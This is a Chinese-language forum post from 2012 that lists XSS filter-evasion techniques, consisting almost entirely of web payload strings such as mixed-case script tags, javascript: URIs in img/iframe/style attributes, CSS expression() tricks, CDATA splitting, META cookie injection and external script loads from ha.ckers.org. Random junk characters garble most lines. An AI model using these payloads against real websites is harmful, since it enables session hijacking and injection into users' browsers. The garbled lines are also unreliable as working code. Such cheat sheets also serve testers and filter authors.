找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2610|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
9 @" o5 B' {" `0 D
( H4 w5 m. p# m2 F6 o! C 5 j* o( l  _- R: |. Z

" |$ H9 g! z5 W. ^. x. \8 x    <sCript>alert(‘d’)</scRipT>
' V6 o, }* ?* c7 |6 e7 U: g* }' p8 u( u. p( P$ r  ?
2. 利用多加一些其它字符来规避Regular Expression的检查' W/ y. |; `1 H# a) i0 @
  S) L3 |: ~9 B: d5 Q# y
    <<script>alert(‘c’)//<</script>9 `$ u/ ~4 X$ F
5 ~* Y/ q/ @  e; v# b, V) W# f
    <SCRIPT a=">" SRC="t.js"></SCRIPT>& l( z0 ], V4 U( o2 _
) l) _2 X, J( [5 K( T6 k( V( D: a
    <SCRIPT =">" SRC="t.js"></SCRIPT>
" }" a( y2 T0 Z8 ]. {* s8 W: D7 Q$ ]! ?7 M
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>3 \1 C9 G) t5 \2 v

8 a2 a% `) x9 q; L" |5 |    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
1 R$ }- o: y# P" z5 a7 K
; b: l9 T6 h, ]# S- i5 X( X6 N    <SCRIPT a=`>` SRC="t.js"></SCRIPT>, f9 k% w) F/ B* C! J  t; p2 `3 `

/ B: L- |6 a. D4 @( l    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>* p( K6 N( ^6 N/ }* p; V1 r8 ~
! j  p* y0 f! w9 @7 N
3. 以其它扩展名取代.js
6 A( t7 W3 F- K5 ~8 }# F3 n; f. g0 |" j
    <script src="bad.jpg"></script>
( m, J5 D4 H0 \9 `6 |0 g5 A: s; J5 W6 r4 V
4. 将Javascript写在CSS档里( f( U9 v3 Z% }$ b

, E1 H8 A3 ]% z! \+ E% u+ }    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">* d  _8 p- Y9 k
$ I5 x2 z: B% Y7 W% P; {% z7 F
       example:
( f$ h( F9 l- K* I1 V0 N
5 R. U4 g4 I$ Y3 o% {2 E          body {: [+ }; W( w9 h9 N  u5 E0 p
1 C' Y* C. S6 o  w3 C- w3 U
               background-image: url(‘javascript:alert("XSS");’)* l6 S% y! D" F& O/ c

: j# S" b" E: l5 {0 e, k& I+ b          }2 E7 G$ C+ b4 S; \/ r# f0 x/ e# k6 K
& G3 o- t9 V! e3 ^9 H
5. 在script的tag里加入一些其它字符7 I8 _9 H" ~( v! m: N. e, ]
7 M* k9 ]5 {0 g
    <SCRIPT/SRC="t.js"></SCRIPT>- C! d9 b9 s% v4 K( y# E/ t
& F( Y6 r) D2 C- P3 Q4 F" H, X& q
    <SCRIPT/anyword SRC="t.js"></SCRIPT>8 L4 H- h+ |+ `, ]) c1 D, y

. @' \( m+ r6 d! v6. 使用tab或是new line来规避5 K( ^, R8 o0 z( \; }! P- V

' w7 e* c+ b/ P. [    <img src="jav ascr ipt:alert(‘XSS3′)">. n- X/ D, R% A; f2 f

' O; R0 m& Z3 K+ H( ]+ I) F5 t, ~    <img src="jav ascr ipt:alert(‘XSS3′)">1 k0 k& G! I* M  B2 q2 Z
+ w# s8 |8 T! q; ~! d; W
    <IMG SRC="jav ascript:alert(‘XSS’);">
% i, a% G) ^; }% l9 D
; U4 O- g# v; e& w2 M& C, ~         -> tag
0 T1 r7 k" i4 O$ F2 a3 y2 Y, A" H! J. I7 G' l
         -> new line
- m8 w( b/ U2 I
) t8 k7 _) l) W' I: Q. l3 P* M$ t' O/ I7. 使用"\"来规避1 f- d" Q7 b& t. |1 y: e2 D  F9 t7 p

1 g3 }$ V" v$ @" r4 g. b/ C    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
( _, b7 _, H" D+ z
& r2 U2 k6 ]; L( D1 _    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
8 f& y  S: P) g' e! `3 F; \# t  D4 M$ ^% _' c2 O7 g9 g
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">2 j* y! q6 {; ^. Q
" A  t0 u6 q1 m  I& ?
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
% A$ z! b% k( C  c7 D) G+ o* y7 Z
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
, T- U/ U5 I$ I7 I( U1 N" a) R8 Q  w
8. 使用Hex encode来规避(也可能会把";"拿掉)
/ G% @# x7 p8 V  a
) c9 W& B0 M* \; }& r3 G' l3 E    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
6 n  T4 L" o, p* I1 I2 V4 R1 q1 x
7 q2 E* [2 U4 i# a5 z        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
( I$ D0 R# q' w) W. n$ o# Q5 t5 ?- ~, ~7 W, D
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">( B1 S, f+ u7 R2 t

3 Y* W+ ]8 a% |: X8 c2 W4 {        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">, W9 U1 e* N1 j) B* P" c
. ~+ A, A! m3 D* M  ~
9. script in HTML tag& o7 {$ O% C2 \

. q& [: s( r: T$ U" U. a' {3 l3 O2 p    <body onload=」alert(‘onload’)」>
0 q, j! c7 N. {" j, G- v; V  P. _6 x( b3 G& a$ c
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload9 H" v* Q/ p# D
  J4 V0 y" X  o+ o
10. 在swf里含有xss的code
! p6 l# P. g# c# G. |2 m) \
) D$ }% h% t7 I$ f; w/ {    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>/ L1 A* F; G6 b$ l2 l: S# e6 t8 e8 `. x

; o1 P, u. M. _( i11. 利用CDATA将xss的code拆开,再组合起来。& H) `3 U) Q% [- p  h3 X: v" O( ~6 _
# w4 S& q9 C+ j# `$ C
    <XML ID=I><X><C>
2 q: M' q: H, ?$ u0 r9 w) h- S: _3 s8 N3 g; K
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
3 j* j: X9 ~& m+ D, W; f/ ~
  j  a' U1 T9 B4 l  V  s% A    </C></X>
% [$ X2 k& F% q1 B, h
8 k8 @! s& w0 M+ h$ {- C& n    </xml>; w3 Z2 I/ a5 V. s. G+ f

# h. \  e( R2 r" e, M    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
( d8 W- d$ R1 j( F# @
2 _0 s2 ?4 `1 v    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>1 {) `0 V& Z; @; q+ d3 ^

* `9 n+ y/ c& C6 }7 g5 S' k    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
/ ~' N2 w0 O, }; c) q1 ^9 q7 \/ K9 Q6 D/ Q( D9 U
12. 利用HTML+TIME。; C7 Y: M$ [( r- a( V6 z% f

1 e4 m. `+ B, v    <HTML><BODY>
* ~2 t' _3 l1 s5 [$ k5 `- _: z. x, `
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">9 E3 `+ d& l1 l5 H) a$ h8 ^

/ b; a! R. A: R$ b% G4 ^# z: Q    <?import namespace="t" implementation="#default#time2">! n) V) M2 ^5 s
( M; |( _& {3 K9 y5 k
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>"># F) i' ?' G& `
2 l8 v/ v; O8 }7 Y
    </BODY></HTML>
' y7 \4 k2 B  _2 Y! l
) n: e; e6 S9 p13. 透过META写入Cookie。
9 O7 o- M* D0 A- u  _& \( C
$ P- Z* e0 K7 K    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
0 c  `6 I8 J. D1 d- _
  n+ d; |8 Y$ k14. javascript in src , href , url- X* S1 z6 [5 ?

" K& z0 S8 R- D    <IFRAME SRC=javascript:alert(’13′)></IFRAME># I1 D; Q5 m5 z, f! d

* h$ F. m) I, _* x% g    <img src="javascript:alert(‘XSS3′)">
, f3 t9 V" ^5 O. s# C- ^3 |( _6 \7 s1 Z' f8 a; u& J3 C/ O
<IMG DYNSRC="javascript:alert(‘XSS20′)">; S9 c  c+ l; w4 B# m  l

, l( k' ], O  l! f' \! x- }    <IMG LOWSRC="javascript:alert(‘XSS21′)">
" ]0 @9 g0 G4 @8 Z6 F4 I3 B3 O& [0 B
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">6 k" C2 o, |  [/ j1 Y
7 X5 A% w0 q8 U) [& v' L- b
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>' }4 A$ n: j" G  h
0 _6 V! z, \/ ?. s! G- t8 P8 p
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
- l  u5 u! a0 V$ D0 k: Q9 C% k+ w( c$ R9 [2 ]
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">7 E  z) ~3 ]; ]. D, a
8 i0 B' S, Z. X, Q& u
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}; _# N) X( ]7 F8 Q+ i; R) a& J
0 l3 E7 \3 P* P, a5 B
    </STYLE><A CLASS=XSS></A>
6 }3 b4 ?# {- k7 r1 P4 Q. k4 E; ?/ E! R* h% J8 y8 ?! k
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
; x: V5 W9 t2 X4 H4 _( M- }7 o
# m& `7 U8 b* j" H+ A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表